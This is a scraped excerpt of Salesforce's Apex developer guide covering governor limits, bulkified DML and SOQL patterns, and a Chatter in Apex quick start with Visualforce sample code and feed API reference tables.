  • 263. Apex Transactions and Governor Limits Understanding Execution Governors and Limits Description Limit The maximum number of asynchronous Apex method executions (Batch Apex, future methods, 250,000 or the number of user and scheduled Apex) per a 24-hour period1 licenses in your organization multiplied by 200, whichever is greater Number of synchronous concurrent requests for long-running requests that last longer than 10 5 seconds for each organization. 2 Maximum simultaneous requests to URLs with the same host for a callout request3 20 Maximum number of Apex classes scheduled concurrently 100 Maximum number of Batch Apex jobs running concurrently 5 Maximum number of Batch Apex job start method concurrent executions4 1 5 Total number of test classes that can be queued per a 24-hour period The greater of 500 or 10 multiplied by the number of test classes in the organization Maximum number of query cursors open concurrently per user6 50 Maximum number of query cursors open concurrently per user for the Batch Apex start method 15 Maximum number of query cursors open concurrently per user for the Batch Apex execute 5 and finish methods 1 For Batch Apex, method executions include executions of the start, execute, and finish methods. This is an organization-wide limit and is shared with all asynchronous Apex: Batch Apex, scheduled Apex, and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included. 2 If additional requests are made while the 10 long-running requests are still running, they’re denied. 3 The host is defined by the unique subdomain for the URL, for example, www.mysite.com and extra.mysite.com are two different hosts. This limit is calculated across all organizations that access the same host. If this limit is exceeded, a CalloutException will be thrown. 4 Batch jobs that haven’t started yet remain in the queue until they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running. 5 This limit applies to tests running asynchronously. This includes tests started through the Salesforce user interface including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API. 6 For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query cursors, 15 cursors for the Batch Apex start method, 5 cursors for the Batch Apex execute and finish methods each, and 5 Visualforce cursors open at the same time. Static Apex Limits Description Limit Default timeout of callouts (HTTP requests or Web services calls) in a transaction 1 10 seconds Maximum size of callout request or response (HTTP request or Web services call) 3 MB Maximum SOQL query run time before the transaction can be canceled by Salesforce 120 seconds 239
  • 264. Apex Transactions and Governor Limits Understanding Execution Governors and Limits Description Limit Maximum number of class and trigger code units in a deployment of Apex 5,000 For loop list batch size 200 Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million 1 The HTTP request and response sizes count towards the total heap size. Size-Specific Apex Limits Description Limit Maximum number of characters for a class 1 million Maximum number of characters for a trigger 1 million 1 Maximum amount of code used by all Apex code in an organization 3 MB Method size limit 2 65,535 bytecode instructions in compiled form 1 This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique from the code in your organization. For more information on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a class defined with the @isTest annotation. 2 Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code. Miscellaneous Apex Limits SOQL Query Performance For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective. See More Efficient SOQL Queries. Event Reports The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system administrators, 100,000. Data.com Clean If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers with SOQL queries to run when account, contact, or lead records, the queries may interfere with Clean jobs for those objects. Your Apex triggers (combined) should not exceed 200 SOQL queries per batch. If they do, your Clean job for that object will fail. In addition, if your triggers call future methods, they will be subject to a limit of 10 future calls per batch. Email Limits Inbound Email Limits Email Services: Maximum Number of Email Messages Processed (Includes limit for On-Demand Email-to-Case) Email Services: Maximum Size of Email Message (Body and Attachments) 240 Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB1
  • 265. Apex Transactions and Governor Limits Understanding Execution Governors and Limits On-Demand Email-to-Case: Maximum Email Attachment Size 10 MB On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by 1,000, up to a daily maximum of (Counts toward limit for Email Services) 1,000,000 1 The maximum size of email messages for Email Services varies depending on language and character set. When defining email services, note the following: • • • • • An email service only processes messages it receives at one of its addresses. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address. Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds approximately 10 MB (varies depending on language and character set). Outbound Email: Limits for Single and Mass Email Sent Using Apex Using the API or Apex, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT). Single emails sent using the Salesforce application don't count toward this limit. There’s no limit on sending individual emails to contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity, case, campaign, or custom object pages. When sending single emails, keep in mind: • • You can send 100 emails per SingleEmailMessage. If you use SingleEmailMessage to email your organization’s internal users, specifying the user’s ID in setTargetObjectId means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresseses in setToAddresses means the email does count toward the limit. You can send mass email to a maximum of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on your edition: Edition External Address Limit per Mass Email Personal, Contact Manager, and Group Editions Mass email not available Professional Edition 250 Enterprise Edition 500 Unlimited and Performance Edition 1,000 Note: Note the following about email limits: • • • The single and mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your email 10 times, that counts as 10 against the limit. You can send an unlimited amount of email to your organization’s internal users, which includes portal users. In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does 241
  • 266. Apex Transactions and Governor Limits Using Governor Limit Email Warnings not apply if your organization was created before the Winter '12 release and already had mass email enabled with a higher limit. Additionally, your organization can send single emails to a maximum of 15 email addresses per day. Using Governor Limit Email Warnings When an end-user invokes Apex code that surpasses more than 50% of any governor limit, you can specify a user in your organization to receive an email notification of the event with additional details. To enable email warnings: 1. 2. 3. 4. 5. Log in to Salesforce as an administrator user. From Setup, click Manage Users > Users. Click Edit next to the name of the user who should receive the email notifications. Select the Send Apex Warning Emails option. Click Save. Running Apex Within Governor Execution Limits Unlike traditional software development, developing software in a multitenant cloud environment, the Force.com platform, relieves you from having to scale your code because the Force.com platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine enforces a set of governor execution limits to ensure that no one transaction monopolizes shared resources. Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can’t be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 t-shirts. Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of coding in the cloud is that you learn how to write more efficient code and waste fewer resources. The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can be queued or active at one time. The following are some best practices for writing code that doesn’t exceed certain governor limits. Bulkifying DML Calls Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way of calling DML statements. Example: DML calls on single sObjects The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution. for(Line_Item__c li : liList) { if (li.Units_Sold__c > 10) { li.Description__c = 'New description'; } // Not a good practice since governor limits might be hit. update li; } 242
  • 267. Apex Transactions and Governor Limits Running Apex Within Governor Execution Limits Recommended Alternative: DML calls on sObject lists This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list. List<Line_Item__c> updatedList = new List<Line_Item__c>(); for(Line_Item__c li : liList) { if (li.Units_Sold__c > 10) { li.Description__c = 'New description'; updatedList.add(li); } } // Once DML call for the entire list of line items update updatedList; More Efficient SOQL Queries Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration and may surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new, which isn’t efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query. Example: Inefficient querying of child items The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this problem by creating another SOQL query that can be called only once. trigger LimitExample on Invoice_Statement__c (before insert, before update) { for(Invoice_Statement__c inv : Trigger.new) { // This SOQL query executes once for each item in Trigger.new. // It gets the line items for each invoice statement. List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c FROM Line_Item__c WHERE Invoice_Statement__c = :inv.Id]; for(Line_Item__c li : liList) { // Do something } } } Recommended Alternative: Querying of child items with one SOQL query This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query is performed and we’re still within our limits. trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) { // Perform SOQL query outside of the for loop. // This SOQL query runs once for all items in Trigger.new. List<Invoice_Statement__c> invoicesWithLineItems = [SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r) FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()]; for(Invoice_Statement__c inv : invoicesWithLineItems) { for(Line_Item__c li : inv.Line_Items__r) { // Do something } } } 243
  • 268. Apex Transactions and Governor Limits Running Apex Within Governor Execution Limits SOQL For Loops Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code running synchronously and it is higher for asynchronous code execution. Example: Query without a for loop The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned merchandise items are large in size and a large number of them was returned, the heap size limit might be hit. List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c]; Recommended Alternative: Query within a for loop To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200 records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated for every batch. for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){ // Do something. } 244
  • 269. Chapter 10 Using Salesforce Features with Apex In this chapter ... • • • • • • • • • • • • • Working with Chatter in Apex Approval Processing Outbound Email Inbound Email Knowledge Management Publisher Actions Force.com Sites Rewriting URLs for Force.com Sites Support Classes Visual Workflow Passing Data to a Flow Using the Process.Plugin Interface Communities Zones Several Salesforce application features in the user interface are exposed in Apex enabling programmatic access to those features in the Force.com platform. For example, using Chatter in Apex enables you to post a message to a Chatter feed. Using the approval methods, you can submit approval process requests and approve these requests. 245
  • 270. Using Salesforce Features with Apex Working with Chatter in Apex Working with Chatter in Apex Many Chatter REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace. These methods use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to as Chatter in Apex. Use Chatter in Apex to develop native, social Force.com applications. Create Visualforce pages that display feeds, post feed items with mentions and topics, and update user and group photos. Create triggers that update Chatter feeds. Use ConnectApi classes to do just about anything you can do in the Chatter Web user interface. In Apex, it is possible to access some Chatter data using SOQL queries and objects. However, ConnectApi classes expose Chatter data in a much simpler way. Data is localized and structured for display. For example, instead of making many calls to access and assemble a feed, you can do it with a single call. Chatter in Apex methods execute in the context of the logged-in user, who is also referred to as the context user. The code has access to whatever the context user has access to. It doesn’t run in system mode like other Apex code. For Chatter in Apex reference information, see ConnectApi Namespace on page 440. Chatter in Apex Quick Start This quick start shows you how to get started with Chatter in Apex. Follow the steps to use Chatter in Apex to display the Chatter feeds of two groups side by side in a Visualforce page. Working with Feeds and Feed Items Feeds are made up of feed items. A feed item is a piece of information posted by a user (for example, a poll) or by an automated process (for example, when a tracked field is updated on a record). Because feeds and feed items are the core of Chatter, understanding them is crucial to developing applications with Chatter REST API and Chatter in Apex. Using ConnectApi Input and Output Classes Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods. Accessing ConnectApi Data in Communities and Portals Most ConnectApi methods work within the context of a single community. Understanding Limits for ConnectApi Classes Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes. Serializing and Deserializing ConnectApi Obejcts When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API. ConnectApi Versioning and Equality Checking Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes. Casting ConnectApi Objects It may be useful to downcast some ConnectApi output objects to a more specific type. Wildcards Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches. 246
  • 271. Using Salesforce Features with Apex Chatter in Apex Quick Start Testing ConnectApi Code Like all Apex code, Chatter in Apex code requires test coverage. Differences Between ConnectApi Classes and Other Apex Classes Please be aware of these additional differences between ConnectApi classes and other Apex classes. Chatter in Apex Quick Start This quick start shows you how to get started with Chatter in Apex. Follow the steps to use Chatter in Apex to display the Chatter feeds of two groups side by side in a Visualforce page. Tip: You can also watch a video of this quick start: Using Chatter in Apex to Display Two Chatter Feeds in a Visualforce Page (6:00 minutes). The video displays the news feeds of two Salesforce Communities instead of two groups feeds, but the code is very similar. Create an Apex controller that uses Chatter in Apex to populate a drop-down list with the groups that the logged-in user is a member of. The controller code then takes the selected group and gets first page of feed items for that group. Next, create a custom Visualforce component to display the feed items. Finally, create a Visualforce page that contains two instances of the custom component: This quick start is designed to get you up and running with Chatter in Apex as quickly as possible so the user interface is very simple. In a real-world scenario, you would customize the user interface to match your organization’s branding. Step 1: Get the Chatter Feed and Group Data The first step is to create an Apex controller that uses Chatter in Apex to populate a drop-down list with the Chatter groups that the logged-in user is a member of. The controller also uses Chatter in Apex to get the feed for the selected group. Step 2: Display the Feed and Group Data in a Visualforce Component The second step is to create a Visualforce custom component called GroupFeed that displays the data from the Apex controller. Step 3: Display the Component in a Visualforce Page The third step is to create a Visualforce page called DoubleGroupFeed that contains two instances of the GroupFeed custom component we created in step 2. 247
  • 272. Using Salesforce Features with Apex Chatter in Apex Quick Start Step 4: Create a Chatter Groups Tab The final step is to create a tab in Salesforce.com that links to the DoubleGroupFeed Visualforce page. Prerequisites To complete the quick start you need access to a Developer Edition organization. You must also create at least two groups and post to them so their feeds contain data. You can't develop Apex in your Salesforce production organization. Live users accessing the system while you're developing can destabilize your data or corrupt your application. Instead, you must do all your development work in either a sandbox or a Developer Edition organization. If you aren't already a member of the developer community, go to http://developer.force.com/join and follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer Edition organization. Even if you already have an Enterprise, Unlimited, or Performance Edition organization and a sandbox for creating Apex, we strongly recommends that you take advantage of the resources available in the developer community. Step 1: Get the Chatter Feed and Group Data The first step is to create an Apex controller that uses Chatter in Apex to populate a drop-down list with the Chatter groups that the logged-in user is a member of. The controller also uses Chatter in Apex to get the feed for the selected group. 1. 2. 3. 4. Click Your Name > Developer Console. In the Developer Console, click File > New > Apex Class. Enter the name GroupFeedController and click OK. Copy this code and paste it into the GroupFeedController class, replacing the existing code: global class GroupFeedController{ // Declare and assign values to strings to use as method parameters. private static String communityId = null; private static String userId = 'me'; // Holds the ID of the selected group. // Pass this property to getFeedItemsFromFeed to get the group's feed. global String groupId { get; set; } // Get the IDs and names for all of the groups // the logged-in user is a member of. Add them to // a List of SelectionOption objects. This List populates // the drop-down menu in the GroupFeed custom component. global static List<SelectOption> getGroupOptions() { List<SelectOption> options = new List<SelectOption>(); // Adds a blank option to display when the page loads. options.add(new SelectOption('', '')); // Declare and assign values to strings to use as method parameters. Integer page = 0; Integer pageSize = 100; // Use Chatter in Apex to get the names and IDs of every group // the logged-in user is a member of. // Chatter in Apex classes are in the ConnectApi namespace. // communityId -- a community ID or null. // userId -- the user ID or the keyword 'me' to specify the logged-in user. // page -- the page number to return. // pageSize -- the number of items on the page. ConnectApi.UserGroupPage groupPage = ConnectApi.ChatterUsers.getGroups(communityId, userId, page, pageSize); 248
  • 273. Using Salesforce Features with Apex Chatter in Apex Quick Start // The total number of groups the logged-in user is a member of. Integer total = groupPage.total; // Loop through all the groups and add each group's id and name // to the list of selection options. while (page * pageSize < total) { // groupPage.groups is a List of ConnectApi.ChatterGroupSummary objects. // ChatterGroupSummary is a subclass of ChatterGroup. // For each ChatterGroup object in the List... for (ConnectApi.ChatterGroup grp : groupPage.groups) { // Add the group's ID and name to the list of selection options. options.add(new SelectOption(grp.id, grp.name)); } page++; if (page * pageSize < total) { // Get the next page of groups. groupPage = ConnectApi.ChatterUsers.getGroups(communityId, userId, page, pageSize); } } // Return the list of selection options. return options; } // Get the feed items that make up a group's feed. global List<ConnectApi.FeedItem> getFeedItems() { if (String.isEmpty(groupId)) { return null; } // To get the feed for a group, use the Record feed type and pass a group ID. // getFeedItemsFromFeed returns a ConnectApi.FeedItemPage class. // To get the List of ConnectApi.FeedItem objects, // add the .items property to the call. return ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId, ConnectApi.FeedType.Record, groupId).items; } public PageReference choose() { return null; } } 5. Click File > Save. Step 2: Display the Feed and Group Data in a Visualforce Component The second step is to create a Visualforce custom component called GroupFeed that displays the data from the Apex controller. 1. In the Developer Console, click File > New > Visualforce Component. 2. Enter the name GroupFeed and click OK. 3. Copy this code and paste it into the GroupFeed component, replacing the existing code: <apex:component controller="GroupFeedController"> <!-- Display the drop-down list of group names. --> <apex:form > <!-- Bind the selection value to the groupId property in the controller. --> <apex:selectList value="{!groupId}" size="1"> <!-- Get the selection options from the getGroupOptions method in the controller. --> <apex:selectOptions value="{!groupOptions}"/> <apex:actionSupport event="onchange" rerender="feed"/> </apex:selectList> </apex:form> 249
  • 274. Using Salesforce Features with Apex Chatter in Apex Quick Start <!-- Display the feed for the selected group. --> <apex:outputPanel id="feed"> <!-- Display the feed items. Call the getFeedItems method in the controller to get the List of FeedItem objects to display. Use the feedItem var to reference a FeedItem object in the List. --> <apex:repeat value="{!feedItems}" var="feedItem"> <div> <!-- Display the photo for the feed item, the name of the actor who posted the feed item, and the text of the feed item. --> <apex:image style="margin:4px" width="25" url="{!feedItem.photoUrl}"/><br/> User: <b>{!feedItem.actor.name}</b><br/> Text: <b>{!feedItem.body.text}</b><br/> <apex:outputPanel > <!-- Display the comments on the feed item. Use the reference to the FeedItem object on line 17 to get the List of ConnectApi.Comment objects to display. Use the comment var to reference a Comment object in the List. --> <apex:repeat value="{!feedItem.comments.comments}" var="comment"> <div style="margin-left:25px"> <!-- Display the photo and name of the user who commented, and display the text of the comment. --> <apex:image style="margin:4px" width="25" url="{!comment.user.photo.smallPhotoUrl}"/><br/> User: <b>{!comment.user.name}</b><br/> Text: <b>{!comment.body.text}</b> </div> </apex:repeat> </apex:outputPanel> </div> </apex:repeat> </apex:outputPanel> </apex:component> 4. Click File > Save. Step 3: Display the Component in a Visualforce Page The third step is to create a Visualforce page called DoubleGroupFeed that contains two instances of the GroupFeed custom component we created in step 2. 1. In the Developer Console, click File > New > Visualforce Page. 2. Enter the name DoubleGroupFeed and click OK. 3. Copy this code and paste it into the DoubleGroupFeed page, replacing the existing code: <apex:page sidebar="false" > <!-- Display two GroupFeed components side by side. --> <div id="column1-wrap" style="float:left; width:50%; background-color:AliceBlue"> <div id="column1"><c:GroupFeed /></div> </div> <div id="column2" style="float:right; width:50%; background-color:LightGray"><c:GroupFeed /></div> </apex:page> The <div> HTML elements create two vertical columns on the page. 4. Click File > Save. 250
  • 275. Using Salesforce Features with Apex Working with Feeds and Feed Items Step 4: Create a Chatter Groups Tab The final step is to create a tab in Salesforce.com that links to the DoubleGroupFeed Visualforce page. 1. 2. 3. 4. 5. In Salesforce.com, from Setup, click Create > Tabs. Click New in the Visualforce Tabs related list. Select the DoubleGroupFeed Visualforce page to display in the custom tab. Enter the label Chatter Groups to display on the tab. Click the Tab Style lookup icon to display the Tab Style Selector. Click a tab style to select the color scheme and icon for the custom tab and click Next. 6. Select the tab visibility for each profile, or accept the default and click Next. 7. Specify the custom apps that should include the new tab, or accept the default and click Save. 8. Click the Chatter Groups tab to open the new page. Select groups from the drop-down lists to see their feeds. If you didn’t create groups and post to them before you started, you won’t see any content on the Chatter Groups page. Working with Feeds and Feed Items Feeds are made up of feed items. A feed item is a piece of information posted by a user (for example, a poll) or by an automated process (for example, when a tracked field is updated on a record). Because feeds and feed items are the core of Chatter, understanding them is crucial to developing applications with Chatter REST API and Chatter in Apex. Note: Salesforce Help refers to feed items as posts. How the Salesforce UI Displays Feed Items To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one layout to display every feed item, regardless of the feed item type. The layout always contains the same elements and the elements are always in the same position; only the content of the layout elements changes. If you stick to this structure, you won’t have to create a unique layout for every feed item type. These are the feed item layout elements: 1. Actor (ConnectApi.FeedItem.actor)—A photo or icon of the creator of the feed item. (You can override the creator at the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.) 2. Preamble (ConnectApi.FeedItem.preamble)—Provides context. The same feed item can have a different preamble depending on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to 251
  • 276. Using Salesforce Features with Apex Working with Feeds and Feed Items a group, the preamble of the feed item in the group feed would be “Gordon Johnson (originally posted by Gordon Johnson)” and the “originally posted” text would link to the feed item on Gordon’s profile. 3. Body (ConnectApi.FeedItem.body)—All feed items have a body, but the body can be null, which is the case when the user doesn’t provide text for the feed item. Because the body can be null you can’t use it as the default case for rendering text. Instead, use the text property of the feed item’s preamble, which always contains a value. 4. Auxiliary Body (ConnectApi.FeedItem.attachment)—The visualization of the attachment. There are multiple attachment types. For example, for a link post, the attachment is the link and name, for a poll, it’s the poll data. In Chatter in Apex, the attachment types are subclasses of ConnectApi.FeedItemAttachment. In Chatter REST API, the attachment types are exposed as response bodies with the name Feed Item Attachment: Name, for example, Feed Item Attachment: Link and Feed Item Attachment: Poll. If you don’t know how to display the attachment type, you can use null. 5. Created By Timestamp (ConnectApi.FeedItem.relativeCreatedDate)—The date and time when the feed item was posted formatted as a relative, localized string, for example, “17m ago” or “Yesterday.” Here’s another example of a feed item in the Salesforce UI. This feed item’s auxiliary body contains a poll: Feed Item Visibility The feed items a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For example, if a user doesn’t have access to a record, they don’t see updates for that record. If a user can see the parent of the feed item, the user can see the feed item. Typically, a user sees feed updates for: • • • • • Feed items that @mention the user if the user can access the feed item’s parent Record field changes on records whose parent is a record the user can see, including User, Group, and File records Feed items posted to the user Feed items posted to groups the user owns or is a member of Feed items for standard and custom records, for example, tasks, events, leads, accounts, files, and so on Feed Types There are many types of feeds. Each feed type is an algorithm that defines a collection of feed items. Important: The algorithms, and therefore the collection of feed items, can change between releases. In Chatter REST API, the feed types are exposed in the resources. For example, these are the resources for the news feed and topics feed: /chatter/feeds/news/userId /chatter/feeds/topics/topicId In Chatter in Apex, all feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed to the ConnectApi.ChatterFeeds.getFeedItemsFromFeed method or to the 252
  • 277. Using Salesforce Features with Apex Working with Feeds and Feed Items ConnectApi.ChatterFeeds.postFeedItem method. This example gets the feed items from the logged-in user’s news feed and topics feed: ConnectApi.FeedItemPage newsFeedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null, ConnectApi.FeedType.News, 'me'); ConnectApi.FeedItemPage topicsFeedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null, ConnectApi.FeedType.Topics, '0TOD00000000dUg'); To get a filter feed, call ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed. To get a favorites feed, call ConnectApi.ChatterFavorites.getFeedItems. These are the feed types and their descriptions: • • • • • • • • • • • • • Bookmarks—Contains all feed items saved as bookmarks by the logged-in user. Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing access to its parent. Files—Contains all feed items that contain files posted by people or groups that the logged-in user follows. Groups—Contains all feed items from all groups the logged-in user either owns or is a member of. Moderation—Contains all feed items that have been flagged for moderation. The Communities Moderation feed is available only to users with “Moderate Community Feeds” permissions. News—Contains all updates for people the logged-in user follows, groups the user is a member of, files and records the user is following, all updates for records whose parent is the logged-in user, and every post and comment that mentions the logged-in user. People—Contains all feed items posted by all people the logged-in user follows. Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. To—Contains all feed items with mentions of the logged-in user, feed items the logged-in user commented on, and feed items created by the logged-in user that are commented on. Topics—Contains all feed items that include the specified topic. UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. Favorites—Contains favorites saved by the logged-in user. Favorites are feed searches, list views, and topics. Filter—Contains the news feed filtered to contain items whose parent is a specified entity type. Posting a Feed Item Use these resources and methods to post feed items: Feed Type Chatter REST API Resource Chatter in Apex Method News Feed POST /chatter/feeds/news /userId/feed-items ConnectApi.ChatterFeeds.postFeedItem (communityIdOrNull, ConnectApi.FeedType.News, userId) userId must be the ID of the logged-in user or the alias me. userId must be the ID of the logged-in user or the alias me. Record Feed POST /chatter/feeds/record /recordId/feed-items ConnectApi.ChatterFeeds.postFeedItem (communityIdOrNull, ConnectApi.FeedType.Record, recordId) 253
  • 278. Using Salesforce Features with Apex Working with Feeds and Feed Items Feed Type Chatter REST API Resource Chatter in Apex Method User Profile Feed POST /chatter/feeds/user-profile /userId/feed-items ConnectApi.ChatterFeeds.postFeedItem (communityIdOrNull, ConnectApi.FeedType.UserProfile, userId) When you post a feed item, you’re creating a child of a standard or custom object. For Chatter REST API, specify the parent object in the userId or recordId section of the resource. For Chatter in Apex, specify the parent object in the in the userId or recordId argument. The parent property of the posted feed item contains information about the parent object. Select the correct feed type and parent object for the task you want to complete: Post to yourself Make a POST request to the news feed, the record feed, or the user profile feed. For userId, specify the user ID of the logged-in user or the alias me. The parent property of the newly posted feed item contains the User Summary object (ConnectApi.UserSummary) of the logged-in user. Post to another user Make a POST request to the record feed or the user profile feed. For recordId or userId, specify the user ID of the target user. The parent property of the newly posted feed item contains the User Summary object (ConnectApi.UserSummary) of the target user. Post to a group Make a POST request to the record feed. For recordId, specify the group ID. The parent property of the newly posted feed item contains the Group object (ConnectApi.ChatterGroupSummary) of the specified group. Post to a record (such as a file or an account) Make a POST request to the record feed. For recordId, specify the record ID. The parent property of the new feed item depends on the record type specified in recordId. If the record type is File, the parent is the File Summary object (ConnectApi.FileSummary). If the record type is Group, the parent is a Group object (ConnectApi.ChatterGroupSummary). If the record type is User, the parent is a User Summary object (ConnectApi.UserSummary). For all other record types, the parent is a a Record Summary object (ConnectApi.RecordSummary). Getting Feed Items from a Feed Getting feed items from a feed is similar, but not identical, for each feed type. To get the feed items from the company feed or the moderation feed, you don’t need to specify a subject ID: Feed Type Chatter REST API Resource Chatter in Apex Method Company GET /chatter/feeds/company/feed-items ConnectApi.ChatterFeeds .getFeedItemsFromFeed 254
  • 279. Using Salesforce Features with Apex Feed Type Working with Feeds and Feed Items Chatter REST API Resource Chatter in Apex Method (communityIdOrNull, ConnectApi.FeedType.Company) Moderation GET /connect/communities/communityId /chatter/feeds/moderation/feed-items ConnectApi.ChatterFeeds .getFeedItemsFromFeed (communityIdOrNull, ConnectApi.FeedType.Moderation) To get the feed items from the favorites and filter feeds you need to specify a favoriteId or a keyPrefix. The keyPrefix indicates the object type and is the first three characters of the object ID. For these feeds, the subjectId must be the ID of the logged-in user or the alias me. Feed Type Chatter REST API Resource Chatter in Apex Method Favorites GET /chatter/feeds/favorites /subjectId/favoriteId/feed-items ConnectApi.ChatterFavorites .getFeedItems(communityIdOrNull, subjectId, favoriteId) Filter GET /chatter/feeds/filter /subjectId/keyPrefix/feed-items ConnectApi.ChatterFeeds .getFeedItemsFromFilterFeed (communityIdOrNull, subjectId, keyPrefix) To get the feed items from a record feed you need to specify a record ID. Feed Type Chatter REST API Resource Chatter in Apex Method Record GET ConnectApi.ChatterFeeds /chatter/feeds/record/recordId/feed-items .getFeedItemsFromFeed (communityIdOrNull, ConnectApi.FeedType.Record, recordId) Tip: The recordId can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce UI is a record feed. The feed on the user profile page in the Salesforce UI is also a record feed. To get the feed items from all other feed types you need to specify a subject ID. Replace the feedType to specify a different feed. For all the feeds in this table except the user profile feed and the topics feed, the subjectId must be the ID of the logged-in user or the alias me. Feed Type Chatter REST API Resource Chatter in Apex Method Bookmarks, Files, Groups, News, People, To, Topics, User Profile GET ConnectApi.ChatterFeeds /chatter/feeds/feedType/subjectId/feed-items .getFeedItemsFromFeed (communityIdOrNull, feedType, subjectId) For example: GET /chatter/feeds/news/me/feed-items For example: ConnectApi.ChatterFeeds .getFeedItemsFromFeed 255
